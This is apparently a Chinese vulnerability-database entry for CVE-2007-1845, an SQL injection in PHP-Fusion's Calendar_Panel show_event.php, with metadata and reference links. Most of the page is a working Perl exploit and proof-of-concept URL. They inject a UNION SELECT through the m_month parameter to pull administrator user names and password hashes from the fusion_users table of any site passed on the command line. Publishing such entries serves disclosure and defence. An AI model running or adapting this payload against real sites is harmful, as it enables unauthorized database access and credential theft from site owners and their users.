PHP-Fusion Calendar_Panel 'show_event.php'SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112588 漏洞类型 SQL注入
发布时间 2007-03-31 更新时间 2007-04-05
CVE编号 CVE-2007-1845 CNNVD-ID CNNVD-200704-060
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/29806
https://cxsecurity.com/issue/WLB-2007040022
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-060
|漏洞详情
PHP-FusionExpandedCalendar(calendar_panel)2.00模块的show_event.php中存在SQL注入漏洞。远程攻击者可以借助m_month参数,执行任意的SQL指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/23225/info

PHP-Fusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. This issue may help the attacker gain unauthorized access.

#!/usr/bin/perl -w

# PHP-Fusion 'Calendar_Panel' Module show_event.PHP (m_month) SQL Injection
Exploit And PoC

# Type :

# SQL Injection

# Release Date :

# {2007-03-31}

# Product :

# http://php-fusion.co.uk/

# Bug :

# http://localhost/script/modules/articles/print.php?id=x AND 1=1 or 1=0

# PoC :

#
http://localhost/script/infusions/calendar_panel/show_event.php?m_month=-1/**/UNI
ON/**/SELECT/**/0,1,user_password,user_name,4,5,6,7,8,9,10,11/**/FROM/**/fusion_u
sers/*


use LWP::Simple;

if(!$ARGV[0] or !($ARGV[0]=~m/http/))

{
    print "\n-----------------------------------\n";
    print "PHP-Fusion 'Calendar_Panel' Module (m_month) SQL Injection Exploit\n";
    print "-----------------------------------\n";
    print "\nUniquE-Key{UniquE-Cracker}\n";
    print "UniquE[at]UniquE-Key.ORG\n";
    print "http://UniquE-Key.ORG\n";
    print "\n-----------------------------------\n";
    print "\nUsage: $0 <server/path>\n";
    print "Examp: $0 http://www.victim.com/path\n";
    print "\n-----------------------------------\n";
    exit ();
}

$address=q[/infusions/calendar_panel/show_event.php?m_month=-1/**/UNION/**/SELECT
/**/0,1,user_password,user_name,4,5,6,7,8,9,10,11/**/FROM/**/fusion_users/*];
$xmie=get($ARGV[0].$address) || die "\n# Web page not found : $!";
print "\n# Connect to : $ARGV[0]\n";
$xmie=~m/<td width='98%' colspan='4' class='textbox'>(.*?)<\/td>/ && print "\n#
Admin name : $1\n";
print "\n# Exploit Failed\n" if(!$1);
$xmie=~m/<b>(.*?)<\/b><\/font><\/td>/ && print "\n# Password : $1\n";
|参考资料

来源:BID
名称:23225
链接:http://www.securityfocus.com/bid/23225
来源:BUGTRAQ
名称:20070331PHP-Fusion'Calendar_Panel'Moduleshow_event.PHP(m_month)SQLInjectionExploitAndPoC
链接:http://www.securityfocus.com/archive/1/archive/1/464348/100/0/threaded
来源:SECUNIA
名称:24718
链接:http://secunia.com/advisories/24718
来源:OSVDB
名称:36310
链接:http://osvdb.org/36310
来源:XF
名称:phpfusion-showevent-sql-injection(33336)
链接:http://xforce.iss.net/xforce/xfdb/33336
来源:VUPEN
名称:ADV-2007-1191
链接:http://www.frsirt.com/english/advisories/2007/1191
来源:SREASON
名称:2514
链接:http://securityreason.com/securityalert/2514